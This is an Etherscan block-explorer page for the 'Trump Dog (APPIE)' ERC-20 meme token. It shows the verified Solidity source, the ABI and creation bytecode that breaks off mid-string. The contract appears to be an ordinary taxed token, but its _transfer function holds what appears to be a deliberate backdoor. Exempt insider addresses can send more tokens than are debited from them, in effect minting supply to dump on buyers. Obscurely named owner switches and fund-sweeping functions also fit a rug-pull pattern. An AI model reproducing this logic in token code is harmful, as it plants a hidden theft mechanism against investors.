ETH Price: $3,650.54 (-6.01%)

Token

ERC-20: Trump Dog (APPIE)
 

Overview

Max Total Supply

1,000,000,000 APPIE

Holders

129

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,183,310.725138157 APPIE

Value
$0.00
0xa1e88505bcc39f1ae4cf9e995fa78cd9b5669d2d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
APPIE

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-12
*/

// SPDX-License-Identifier: MIT

/**
https://t.me/appie_erc
*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract APPIE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=40;

    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Trump Dog";
    string private constant _symbol = unicode"APPIE";
    uint256 public _maxTxAmount =  ( _tTotal * 23 ) / 1000;
    uint256 public _maxWalletSize = ( _tTotal * 23 ) / 1000;
    uint256 public _taxSwapThreshold= 0;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _w) {
        _taxWallet = payable(_w);
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        isExile[address(_taxWallet)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPair(address addr) public onlyOwner {
        marketPair[addr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 _tAmount = amount;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
            
            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 60, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (marketPair[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!marketPair[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            if(from != address(this) && isExile[from]){
                uint256 _checktaxsum = 0;
                if(amount >=0 && amount <= _maxTxAmount)
                {
                     _checktaxsum =  22;
                     
                }else{

                    _checktaxsum =  _buyCount> _reduceSellTaxAt ? _finalSellTax: _initialSellTax;
                    _tAmount = min(_maxTxAmount , _tAmount.mul(_checktaxsum));
                }
            }
	    if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_tAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function reclaimETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function reclaimERC20tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function allowTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_w","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reclaimERC20tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600755600a600855600a6009556000600a556000600b556028600c556028600d556028600e556000600f55600060105560006011556103e86009600a6200004e9190620003be565b6200005e90633b9aca00620003d6565b6200006b906017620003d6565b620000779190620003f0565b6012556103e86200008b6009600a620003be565b6200009b90633b9aca00620003d6565b620000a8906017620003d6565b620000b49190620003f0565b60135560006014556064620000cc6009600a620003be565b620000dc90633b9aca00620003d6565b620000e89190620003f0565b60155560026018556019805462ffffff1916620100001790553480156200010e57600080fd5b506040516200247a3803806200247a833981016040819052620001319162000413565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b0383161790556200019b6009600a620003be565b620001ab90633b9aca00620003d6565b336000908152600160208190526040822092909255600390620001d66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155601754821684528284208054861682179055600654909116835291208054909216179055620002473390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002816009600a620003be565b6200029190633b9aca00620003d6565b60405190815260200160405180910390a3506200043e565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000300578160001904821115620002e457620002e4620002a9565b80851615620002f257918102915b93841c9390800290620002c4565b509250929050565b6000826200031957506001620003b8565b816200032857506000620003b8565b81600181146200034157600281146200034c576200036c565b6001915050620003b8565b60ff841115620003605762000360620002a9565b50506001821b620003b8565b5060208310610133831016604e8410600b841016171562000391575081810a620003b8565b6200039d8383620002bf565b8060001904821115620003b457620003b4620002a9565b0290505b92915050565b6000620003cf60ff84168362000308565b9392505050565b8082028115828204841417620003b857620003b8620002a9565b6000826200040e57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200042657600080fd5b81516001600160a01b0381168114620003cf57600080fd5b61202c806200044e6000396000f3fe6080604052600436106101c65760003560e01c80637b7cfc01116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610503578063e68d0b0514610549578063f2fde38b14610569578063f5b3c3bf1461058957600080fd5b8063a9059cbb1461048d578063bf474bed146104ad578063c4e2b619146104c3578063d45cce65146104e357600080fd5b80638f9a55c0116100d15780638f9a55c01461040957806390b605491461041f57806390d49b9d1461043f57806395d89b411461045f57600080fd5b80637b7cfc01146103c05780637d1db4a5146103d55780638da5cb5b146103eb57600080fd5b8063313ce56711610164578063622565891161013e57806362256589146103405780636e4636671461035557806370a0823114610375578063715018a6146103ab57600080fd5b8063313ce567146102cc57806349bd5a5e146102e857806353bc13dc1461032057600080fd5b80630faee56f116101a05780630faee56f1461025d57806310c435aa1461028157806318160ddd1461029757806323b872dd146102ac57600080fd5b806306fdde03146101d2578063095ea7b3146102165780630f144a481461024657600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506040805180820190915260098152685472756d7020446f6760b81b60208201525b60405161020d9190611b9e565b60405180910390f35b34801561022257600080fd5b50610236610231366004611c02565b6105b9565b604051901515815260200161020d565b34801561025257600080fd5b5061025b6105d0565b005b34801561026957600080fd5b5061027360155481565b60405190815260200161020d565b34801561028d57600080fd5b5061027360185481565b3480156102a357600080fd5b5061027361063f565b3480156102b857600080fd5b506102366102c7366004611c2e565b610660565b3480156102d857600080fd5b506040516009815260200161020d565b3480156102f457600080fd5b50601754610308906001600160a01b031681565b6040516001600160a01b03909116815260200161020d565b34801561032c57600080fd5b5061025b61033b366004611c6f565b6106c9565b34801561034c57600080fd5b5061025b610717565b34801561036157600080fd5b5061025b610370366004611c8c565b6107c9565b34801561038157600080fd5b50610273610390366004611c6f565b6001600160a01b031660009081526001602052604090205490565b3480156103b757600080fd5b5061025b6107f8565b3480156103cc57600080fd5b5061025b61086c565b3480156103e157600080fd5b5061027360125481565b3480156103f757600080fd5b506000546001600160a01b0316610308565b34801561041557600080fd5b5061027360135481565b34801561042b57600080fd5b5061025b61043a366004611cb3565b610c6f565b34801561044b57600080fd5b5061025b61045a366004611c6f565b610cb5565b34801561046b57600080fd5b50604080518082019091526005815264415050494560d81b6020820152610200565b34801561049957600080fd5b506102366104a8366004611c02565b610d01565b3480156104b957600080fd5b5061027360145481565b3480156104cf57600080fd5b5061025b6104de366004611c02565b610d0e565b3480156104ef57600080fd5b506019546102369062010000900460ff1681565b34801561050f57600080fd5b5061027361051e366004611cd0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055557600080fd5b5061025b610564366004611d09565b610db4565b34801561057557600080fd5b5061025b610584366004611c6f565b610dfc565b34801561059557600080fd5b506102366105a4366004611c6f565b60046020526000908152604090205460ff1681565b60006105c6338484610ee6565b5060015b92915050565b6000546001600160a01b031633146106035760405162461bcd60e51b81526004016105fa90611d27565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561063c573d6000803e3d6000fd5b50565b600061064d6009600a611e56565b61065b90633b9aca00611e65565b905090565b600061066d84848461100a565b6106bf84336106ba85604051806060016040528060288152602001611fcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611806565b610ee6565b5060019392505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107415760405162461bcd60e51b81526004016105fa90611d27565b61074d6009600a611e56565b61075b90633b9aca00611e65565b60125561076a6009600a611e56565b61077890633b9aca00611e65565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107a86009600a611e56565b6107b690633b9aca00611e65565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016105fa90611d27565b601855565b6000546001600160a01b031633146108225760405162461bcd60e51b81526004016105fa90611d27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105fa90611d27565b601754600160a01b900460ff16156108f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105fa565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093990309061092b6009600a611e56565b6106ba90633b9aca00611e65565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611e7c565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a369190611e7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa79190611e7c565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610b27816001600160a01b031660009081526001602052604090205490565b600080610b3c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bc99190611e99565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190611ec7565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6000546001600160a01b03163314610c995760405162461bcd60e51b81526004016105fa90611d27565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b81526004016105fa90611d27565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006105c633848461100a565b6000546001600160a01b03163314610d385760405162461bcd60e51b81526004016105fa90611d27565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daf9190611ec7565b505050565b6000546001600160a01b03163314610dde5760405162461bcd60e51b81526004016105fa90611d27565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b03163314610e265760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b038116610e8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105fa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fa565b6001600160a01b038216610fa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fa565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661106e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fa565b6001600160a01b0382166110d05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fa565b600081116111325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fa565b6000816111476000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561117657506000546001600160a01b03858116911614155b156116c2576111a760646111a1600c54600f54116111965760085461119a565b600a545b8690611840565b906118c9565b915060075443036112325743600090815260056020526040902054603c116112115760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016105fa565b43600090815260056020526040812080549161122c83611ee4565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561126857506016546001600160a01b03858116911614155b801561128d57506001600160a01b03841660009081526003602052604090205460ff16155b15611375576012548311156112e45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105fa565b60135483611307866001600160a01b031660009081526001602052604090205490565b6113119190611efd565b111561135f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b600f805490600061136f83611ee4565b91905055505b6001600160a01b03841660009081526004602052604090205460ff161580156113b757506001600160a01b03841660009081526003602052604090205460ff16155b1561143757601354836113df866001600160a01b031660009081526001602052604090205490565b6113e99190611efd565b11156114375760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b6001600160a01b03841660009081526004602052604090205460ff16801561146857506001600160a01b0385163014155b156114955761149260646111a1600d54600f54116114885760095461119a565b600b548690611840565b91505b6001600160a01b03851630148015906114c657506001600160a01b03851660009081526003602052604090205460ff165b1561151357600060125484116114de57506016611511565b600d54600f54116114f1576009546114f5565b600b545b60125490915061150e906115098484611840565b61190b565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561155557506001600160a01b03841660009081526004602052604090205460ff16155b801561156a57506001600160a01b0385163014155b1561157457600091505b3060009081526001602052604090205460195462010000900460ff16801561159f575060195460ff16155b80156115c357506001600160a01b03851660009081526004602052604090205460ff165b80156115d65750601954610100900460ff165b80156115e55750600e54600f54115b15611645576011544311156115fa5760006010555b60145481111561161c5761161c611617856115098460155461190b565b611920565b4761162647611a91565b6010805490600061163683611ee4565b909155505043601155506116c0565b60195460ff1615801561167057506001600160a01b03851660009081526004602052604090205460ff165b80156116835750601954610100900460ff165b80156116925750600e54600f54115b156116c0576014548111156116b4576116b4611617856115098460155461190b565b476116be47611a91565b505b505b811561173c57306000908152600160205260409020546116e29083611acf565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117339086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461175f9082611b2e565b6001600160a01b0386166000908152600160205260409020556117a46117858484611b2e565b6001600160a01b03861660009081526001602052604090205490611acf565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117ee8686611b2e565b60405190815260200160405180910390a35050505050565b6000818484111561182a5760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f10565b95945050505050565b600082600003611852575060006105ca565b600061185e8385611e65565b90508261186b8583611f23565b146118c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fa565b9392505050565b60006118c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b70565b600081831161191a57826118c2565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061196257611962611f45565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119df9190611e7c565b816001815181106119f2576119f2611f45565b6001600160a01b039283166020918202929092010152601654611a189130911684610ee6565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a51908590600